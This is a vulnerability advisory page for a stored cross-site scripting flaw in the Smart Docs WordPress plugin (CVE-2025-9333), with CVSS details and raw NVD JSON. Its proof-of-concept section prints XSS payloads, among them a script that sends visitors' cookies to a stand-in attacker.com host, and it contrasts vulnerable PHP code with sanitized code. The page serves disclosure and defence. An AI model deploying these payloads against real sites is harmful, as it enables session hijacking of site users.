Security Vulnerability Report
中文
CVE-2025-9333 CVSS 5.5 MEDIUM

CVE-2025-9333

Published: 2025-10-03 12:15:48
Last Modified: 2026-04-15 00:35:42

Description

The Smart Docs plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.1.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Smart Docs插件 < 1.1.1
WordPress Smart Docs插件 所有版本(包括1.1.1)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2025-9333 - Smart Docs Stored XSS This PoC demonstrates how an authenticated administrator can inject malicious JavaScript through the plugin's admin settings. --> <!-- Step 1: Attacker navigates to Smart Docs plugin admin settings page --> <!-- Step 2: In the vulnerable input field (e.g., document title, description, or settings field), inject the following payload: --> <script>alert(document.cookie);</script> <!-- Alternatively, a more sophisticated payload for cookie theft: --> <script> var img = new Image(); img.src = "https://attacker.com/steal?cookie=" + document.cookie; </script> <!-- Or using event handlers in input fields: --> " onmouseover="alert('XSS')" autofocus onfocus="alert(document.domain)" <!-- Step 3: Save the settings - the malicious payload is stored in the database Step 4: When any user (including other admins) views the affected page, the script executes in their browser context --> <?php // Example of vulnerable code pattern (not actual plugin code): // The following pattern demonstrates the missing sanitization: // VULNERABLE: No sanitization or escaping $setting_value = $_POST['smart_docs_setting']; update_option('smart_docs_option', $setting_value); // Later when rendered: echo '<div>' . get_option('smart_docs_option') . '</div>'; // SECURE: Proper sanitization and escaping $setting_value = sanitize_text_field($_POST['smart_docs_setting']); update_option('smart_docs_option', $setting_value); // Later when rendered: echo '<div>' . esc_html(get_option('smart_docs_option')) . '</div>'; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9333", "sourceIdentifier": "[email protected]", "published": "2025-10-03T12:15:48.107", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Smart Docs plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.1.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://wordpress.org/plugins/smart-docs/#developers", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/269b0edd-2358-4a71-8fbe-de9a1c939807?source=cve", "source": "[email protected]"}]}}